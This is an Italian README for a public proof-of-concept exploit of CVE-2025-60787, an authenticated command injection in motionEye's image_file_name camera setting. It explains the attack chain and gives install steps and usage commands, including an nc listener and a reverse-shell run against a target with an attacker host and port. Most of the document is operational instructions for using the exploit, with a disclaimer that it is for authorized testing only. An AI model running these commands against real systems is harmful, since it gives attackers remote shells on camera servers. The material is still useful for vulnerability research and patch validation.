CVE-2025-60787 — RCE autenticata in motionEye

PoC di command injection autenticata per CVE-2025-60787. motionEye v0.43.1b4 e versioni precedenti scrivono valori di configurazione della telecamera controllati dall'utente, come image_file_name, nella configurazione di Motion senza una sufficiente sanificazione, consentendo l'esecuzione di comandi quando il valore viene elaborato.

Solo per test autorizzati e ricerca. Non utilizzare contro sistemi di cui non si è proprietari o per cui non si ha esplicito permesso di test.

---

Cosa fa

Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution

1. Valida il target e rileva motionEye.
2. Genera richieste API motionEye firmate usando il nome utente e l'hash della password configurati.
3. Legge la configurazione della telecamera tramite /config/list/.
4. Inietta un comando nell'impostazione image_file_name della telecamera.
5. Abilita le immagini fisse/istantanee manuali dove necessario.
6. Attiva /action/<camera_id>/snapshot/ in modo che motionEye elabori il nome file iniettato.
7. Opzionalmente ripristina la configurazione originale della telecamera.

---

Schermate

Preparazione della reverse shell

Iniezione della configurazione e attivazione

Shell ricevuta

---

Installazione

git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt

---

Utilizzo

Verifica sicura del comando

python3 CVE-2025-60787.py \
  --target http://127.0.0.1:8765 \
  --user admin \
  --password-hash HASH \
  --cmd 'id > /tmp/motioneye_rce'

Reverse shell

Avviare prima un listener:

rlwrap nc -lvnp 4444

Quindi eseguire:

python3 CVE-2025-60787.py \
  --target http://127.0.0.1:8765 \
  --port 8765 \
  --user admin \
  --password-hash HASH \
  --reverse-shell \
  --lhost 10.10.16.53 \
  --lport 4444

Opzioni utili:

--camera-id N      Camera ID to modify (default: 1)
--restore          Restore the original camera configuration after triggering
--dry-run          Build signed requests without modifying the target
--debug            Print canonical signed paths, bodies and signatures
--no-trigger       Update config without triggering a snapshot
--verify-tls       Verify HTTPS certificates
--yes              Skip reverse-shell confirmation prompt

---

Prodotti interessati

Prodotto	Versione interessata	Accesso richiesto	Impatto
motionEye	<= 0.43.1b4	Accesso amministratore/API autenticato	Esecuzione di comandi a livello di sistema operativo come utente del processo motionEye/Motion

Il privilegio risultante dipende da come motionEye è distribuito. In contenitori o immagini di laboratorio che eseguono il servizio come root, l'esecuzione dei comandi può avvenire con privilegi di root.

---

Note

• Il PoC richiede il valore/hash della password motionEye memorizzato perché tale valore viene usato come chiave di firma per le richieste API legacy.
• Il campo iniettato è image_file_name.
• Usare --restore durante i test per ripristinare la configurazione originale della telecamera dopo lo sfruttamento.
• Preferire --cmd per una validazione sicura prima di tentare una reverse shell.

---

Riferimenti

• NVD — CVE-2025-60787
• GitHub Security Advisory — GHSA-j945-qm58-4gjx
• Progetto motionEye

---

Autore

ozcanpng — github.com/ozcanpng — ozcanpng.dev